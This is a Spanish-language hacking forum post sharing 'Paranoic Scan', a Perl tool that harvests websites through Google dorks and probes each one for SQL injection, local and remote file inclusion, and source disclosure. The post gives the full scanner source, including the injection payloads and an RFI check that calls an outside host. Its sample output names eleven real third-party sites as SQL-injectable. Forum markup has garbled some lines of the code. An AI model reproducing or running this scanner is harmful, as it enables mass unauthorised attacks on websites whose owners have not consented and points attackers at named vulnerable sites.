[Perl] Paranoic Scan By Doddy H

  • 0 Respuestas
  • 1380 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Paranoic Scan By Doddy H

  • en: Julio 03, 2011, 09:48:39 pm
Hola.

Hoy traigo un programa que eh estado haciendo porque estaba arto de ir probando cada
web que encontraba en google para saber si tenia la vulnerabilidad que queria
Asi que por eso hice esta tool , con las siguientes opciones

* Permite scaner un archivo con webs
* Permite buscar en google , borrar repes , y luego scanear


Tipos de scan :

* SQL
* LFI
* RFI
* FULL SOURCE DISCLOURE



Ejemplo de uso


Código: Perl
  1.  
  2.  
  3.  
  4. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  5.  @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  6.  @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  7.  @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  8.  @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  9.  @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  10. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  11.  
  12.  
  13.  
  14.  
  15. [a] : Scan a File
  16. [b] : Search in google and scan the webs
  17.  
  18. [option] : b
  19.  
  20. <ul class="bbc_list"><li type="square"> Dork : ficha.php+id[/li]
  21. </li><li type="square"> Pages : 200[/li]
  22.  
  23.  
  24. </li><li type="square"> Scan Type :[/li]
  25.  
  26. [S] : SQL
  27. [L] : LFI
  28. [R] : RFI
  29. [F] : Full Source Discloure
  30. [A] : All
  31.  
  32.  
  33. [Option] : s
  34.  
  35. [Google] : www.google.com.ar
  36. [Dork] : ficha.php+id
  37. [Pages] : 200
  38.  
  39. </li><li type="square"> Searching pages..[/li]
  40. </li><li type="square"> Cleaning results[/li]
  41.  
  42. [Status] : Scanning
  43. [Webs Count] : 136
  44.  
  45. </li><li type="square"> SQLI : http://www.3tres3.com/opinion/ficha.php?id=[/li]
  46. </li><li type="square"> SQLI : http://www.vincipark.es/ficha.php?id=[/li]
  47. </li><li type="square"> SQLI : http://www.maxhuber.cl/ficha.php?id=[/li]
  48. </li><li type="square"> SQLI : http://www.alddeaviviendas.com/sitio/ficha.php?id=[/li]
  49. </li><li type="square"> SQLI : http://www.bvocal.org/ficha.php?id=[/li]
  50. </li><li type="square"> SQLI : http://www.animadas.com/artista-ficha.php?id=[/li]
  51. </li><li type="square"> SQLI : http://www.madamedepompadour.cl/ficha.php?id=[/li]
  52. </li><li type="square"> SQLI : http://codigo-civil.org/base/ficha.php?id=[/li]
  53. </li><li type="square"> SQLI : http://www.cibercolchon.com/ficha.php?id=[/li]
  54. </li><li type="square"> SQLI : http://www.100citiesinitiative.org/ficha.php?ID=[/li]
  55. </li><li type="square"> SQLI : http://www.nibbledpencil.com/ficha.php?id=[/li]
  56.  
  57. [Status] : Finish
  58.  
  59.  
  60.  
  61. (C) Doddy Hackman 2010
  62.  


Codigo

Código: Perl
  1. #!usr/bin/perl
  2. #Paranoic Scan 0.4
  3. #(c)0ded by Doddy H 2010
  4.  
  5. use LWP::UserAgent;
  6. use HTTP::Request::Common;
  7. use URI::Split qw(uri_split);
  8.  
  9. my $nave = LWP::UserAgent->new();
  10. $nave->timeout(5);
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12.  
  13.  
  14.  
  15.  
  16.  
  17. sub head {
  18. system 'cls';
  19.  
  20.  
  21. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  22.  @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  23.  @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  24.  @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  25.  @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  26.  @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  27. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  28.  
  29.  
  30.  
  31.  
  32. );
  33. }
  34. &menu;
  35. sub menu {
  36. &head;
  37. print "[a] : Scan a File\n";
  38. print "[b] : Search in google and scan the webs\n\n";
  39. print "[option] : ";
  40. chomp(my $op = <STDIN>);
  41. if ($op=~/a/ig) {
  42. print "\n</li><li type="square"> Wordlist : ";[/li][/list]
  43. chomp(my $word = <STDIN>);
  44. @paginas = repes(savewords($word));
  45. my $option = &men;
  46. scan($option,@paginas);
  47. }
  48. elsif ($op=~/b/ig) {
  49. print "\n</li><li type="square"> Dork : ";[/li][/list]
  50. chomp(my $dork = <STDIN>);
  51. print "</li><li type="square"> Pages : ";[/li][/list]
  52. chomp(my $pag = <STDIN>);
  53. my $option = &men;
  54. @paginas = &google("www.google.com.ar",$dork,$pag);
  55. scan($option,@paginas);
  56. }
  57. else {
  58. &menu;
  59. }
  60. }
  61. sub scan {
  62. my ($option,@webs) = @_;
  63. print "\n[Status] : Scanning\n";
  64. print "[Webs Count] : ".int(@webs)."\n\n";
  65. for(@webs) {
  66. if ($option=~/S/ig) {
  67. &sql($_);
  68. }
  69. if ($option=~/L/ig) {
  70. &lfi($_);
  71. }
  72. if ($option=~/R/ig) {
  73. &rfi($_);
  74. }
  75. if ($option=~/F/ig) {
  76. &fsd($_);
  77. }
  78. if ($option=~/A/ig) {
  79. &sql($_);
  80. &lfi($_);
  81. &rfi($_);
  82. &fsd($_)
  83. }
  84. }
  85. }
  86. print "\n[Status] : Finish\n";
  87. &finish;
  88.    
  89.  
  90. sub toma {
  91. return $nave->request (GET $_[0])->content;
  92. }
  93.  
  94.  
  95. sub savefile {
  96. open (SAVE,">>logs/".$_[0]);
  97. print SAVE $_[1]."\n";
  98. close SAVE;
  99. }
  100.  
  101. sub finish {
  102. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  103. <STDIN>;
  104. exit(1);
  105. }
  106.  
  107.  
  108. sub google {
  109. print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n</li><li type="square"> Searching pages..\n";[/li][/list]
  110. for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
  111. $response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  112. while ($response=~m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  113. push(@founds,$1);
  114. }}
  115. print "</li><li type="square"> Cleaning results\n";[/li][/list]
  116. for(@founds) {
  117. $t = clean($_);
  118. push(@r,$t);
  119. }    
  120. return(repes(@r));
  121. }
  122.  
  123.  
  124. sub sql {
  125. my ($pass1,$pass2) = ("+","--");
  126. my $page = shift;
  127. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  128. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  129. print "</li><li type="square"> SQLI : $page\a\n";[/li][/list]
  130. savefile("sql-logs.txt",$page);
  131. }}
  132.  
  133. sub rfi {
  134. my $page = shift;
  135. $code1 = toma($page."http:/www.supertangas.com/");
  136. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  137. print "</li><li type="square"> RFI : $page\a\n";[/li][/list]
  138. savefile("rfi-logs.txt",$page);
  139. }}
  140.  
  141. sub lfi {
  142. my $page = shift;
  143. $code1 = toma($page."'");
  144. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  145. print "</li><li type="square"> LFI : $page\a\n";[/li][/list]
  146. savefile("lfi-logs.txt",$page);
  147. }}
  148.  
  149.  
  150. sub fsd {
  151. my $page = shift;
  152. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  153. if ($path=~/\/(.*)$/) {
  154. my $me = $1;
  155. $code1 = toma($page.$me);
  156. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  157. print "</li><li type="square"> Full Source Discloure : $page\a\n";[/li][/list]
  158. savefile("fpd-logs.txt",$page);
  159. }}}
  160.  
  161. sub repes {
  162. foreach my $palabra ( @_ ) {
  163. next if $repety{ $palabra }++;
  164. push @revisado,$palabra;
  165. }
  166. return @revisado;
  167. }
  168.  
  169. sub savewords {
  170. open (FILE,$_[0]);
  171. @words = <FILE>;
  172. close FILE;
  173. for(@words) {
  174. $t = clean($_);
  175. push(@r,$t);
  176. }    
  177. return(@r);
  178. }
  179.  
  180. sub men {
  181. print "\n\n</li><li type="square"> Scan Type : \n\n";[/li][/list]
  182. print "[S] : SQL\n";
  183. print "[L] : LFI\n";
  184. print "[R] : RFI\n";
  185. print "[F] : Full Source Discloure\n";
  186. print "[A] : All\n\n";
  187. print "\n[Option] : ";
  188. chomp(my $option = <STDIN>);
  189. return $option;
  190. }
  191.  
  192. sub clean {
  193. if ($_[0] =~/\=/) {
  194. my @sacar= split("=",$_[0]);
  195. return(@sacar[0]."=");
  196. }
  197. }
  198.  
  199. #The End
  200. #Contact : doddy-hackman[at]hotmail[com]
  201. #blog : doddy-hackman.blogspot.com
  202.  
« Última modificación: Marzo 14, 2015, 10:04:57 am por Expermicid »

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5331
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3474
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 4374
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2606
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 3018
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d